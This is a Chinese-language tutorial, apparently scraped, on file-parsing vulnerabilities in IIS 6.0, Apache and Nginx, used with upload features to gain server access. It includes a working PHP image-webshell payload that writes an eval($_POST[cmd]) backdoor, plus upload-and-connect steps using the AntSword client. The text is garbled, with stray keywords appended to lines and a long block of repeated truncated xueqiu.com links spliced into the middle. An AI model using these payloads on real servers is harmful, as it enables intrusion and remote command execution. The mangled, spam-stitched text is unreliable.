解析漏洞是指web服務器因對http請求處理不當致使將非可執行的腳本,文件等當作可執行的腳本,文件等執行。該漏洞通常配合服務器的文件上傳功能使用,以獲取服務器的權限。
類型:php
利用方法nginx
IIS6.0 默認的可執行文件除了asp還包含這三種/sp.asaweb
/sp.cershell
/sp.cdxapache
1.目錄解析服務器
/xx.asp/xx.jpgapp
2.文件解析dom
sp.asp;.jpg測試
第一種,在網站下創建文件夾的名字爲 .asp、.asa 的文件夾,其目錄內的任何擴展名的文件都被IIS看成asp文件來解析並執行。網站
例如建立目錄 sp.asp,那麼
/sp.asp/1.jpg
將被看成asp文件來執行。假設黑客能夠控制上傳文件夾路徑,就能夠無論你上傳後你的圖片改不更名都能拿shell了。
第二種,在IIS6.0下,分號後面的不被解析,也就是說
sp.asp;.jpg
會被服務器當作是sp.asp
漏洞原理
Apache 解析文件的規則是從右到左開始判斷解析,若是後綴名爲不可識別文件解析,就再往左判斷。好比 sec.php.owf.rar 「.owf」和」.rar」 這兩種後綴是apache不可識別解析,apache就會把sec.php.owf.rar解析成php.
如何判斷是否是合法的後綴就是這個漏洞的利用關鍵,測試時能夠嘗試上傳一個sec.php.rara.jpg.png…(把你知道的常見後綴都寫上…)去測試是不是合法後綴
其他配置問題致使漏洞
(1)若是在 Apache 的 conf 裏有這樣一行配置 AddHandler php5-script .php 這時只要文件名裏包含.php 即便文件名是 test2.php.jpg 也會以 php 來執行。
(2)若是在 Apache 的 conf 裏有這樣一行配置 AddType application/x-httpd-php .jpg 即便擴展名是 jpg,同樣能以 php 方式執行。
在默認Fast-CGI開啓情況下,黑客上傳一個名字爲sp.jpg,內容爲
`<?PHP fputs(fopen('shell.php','w'),'<?php eval($_POST[cmd]);?>');?>` * 1
的文件,而後訪問sp.jpg/.php,在這個目錄下就會生成一句話木馬 shell.php
影響版:0.5.,0.6., 0.7 <= 0.7.65, 0.8 <= 0.8.37Nginx在圖片中嵌入PHP代碼而後經過訪問
xxx.jpg%00.php
來執行其中的代碼
1.上傳23.asa;jpg文件
蟻劍鏈接成功
2.將23.asa;jpg文件更名爲23.jpg,並放到1.asp目錄下訪問,而後使用蟻劍鏈接
上傳一個圖片馬,裏面含有代碼<?PHP fputs(fopen('shell.php','w'),'<?php eval($_POST[cmd]);?>');?>
該木馬會在上傳後,運用Apache的解析漏洞再次訪問時生成一個shell.php木馬
訪問該圖片,並在末尾加上/.php
生成shell.php
蟻劍去鏈接該shell.php
https://xueqiu.com/2608645280...
https://xueqiu.com/2608645280...
https://xueqiu.com/2608645280...
https://xueqiu.com/2608645280...
https://xueqiu.com/6360375330...
https://xueqiu.com/6360375330...
https://xueqiu.com/6360375330...
https://xueqiu.com/6360375330...
https://xueqiu.com/2608645280...
https://xueqiu.com/2608645280...
https://xueqiu.com/2608645280...
https://xueqiu.com/2608645280...
https://xueqiu.com/6360375330...
https://xueqiu.com/6360375330...
https://xueqiu.com/6360375330...
https://xueqiu.com/6360375330...
https://xueqiu.com/2608645280...
https://xueqiu.com/2608645280...
https://xueqiu.com/2608645280...
https://xueqiu.com/2608645280...
https://xueqiu.com/6360375330...
https://xueqiu.com/6360375330...
https://xueqiu.com/6360375330...
https://xueqiu.com/6360375330...
https://xueqiu.com/2608645280...
https://xueqiu.com/2608645280...
https://xueqiu.com/2608645280...
https://xueqiu.com/2608645280...
https://xueqiu.com/6360375330...
https://xueqiu.com/6360375330...
https://xueqiu.com/6360375330...
https://xueqiu.com/6360375330...
https://xueqiu.com/2608645280...
https://xueqiu.com/2608645280...
https://xueqiu.com/2608645280...
https://xueqiu.com/2608645280...
https://xueqiu.com/6360375330...
https://xueqiu.com/6360375330...
https://xueqiu.com/6360375330...
https://xueqiu.com/6360375330...
https://xueqiu.com/2608645280...
https://xueqiu.com/2608645280...
https://xueqiu.com/2608645280...
https://xueqiu.com/2608645280...
https://xueqiu.com/2608645280...
https://xueqiu.com/2608645280...
https://xueqiu.com/2608645280...
https://xueqiu.com/2608645280...
https://xueqiu.com/6360375330...
https://xueqiu.com/6360375330...
https://xueqiu.com/6360375330...
https://xueqiu.com/6360375330...
https://xueqiu.com/2608645280...
https://xueqiu.com/2608645280...
https://xueqiu.com/2608645280...
https://xueqiu.com/2608645280...
https://xueqiu.com/6360375330...
https://xueqiu.com/6360375330...
https://xueqiu.com/6360375330...
https://xueqiu.com/6360375330...
https://xueqiu.com/2608645280...
https://xueqiu.com/2608645280...
https://xueqiu.com/2608645280...
https://xueqiu.com/2608645280...
https://xueqiu.com/6360375330...
https://xueqiu.com/6360375330...
https://xueqiu.com/6360375330...
https://xueqiu.com/6360375330...
https://xueqiu.com/2608645280...
https://xueqiu.com/2608645280...
https://xueqiu.com/2608645280...
https://xueqiu.com/2608645280...
https://xueqiu.com/6360375330...
https://xueqiu.com/6360375330...
https://xueqiu.com/6360375330...
https://xueqiu.com/6360375330...
上傳帶一句話木馬的1.php.q.w.d文件
蟻劍鏈接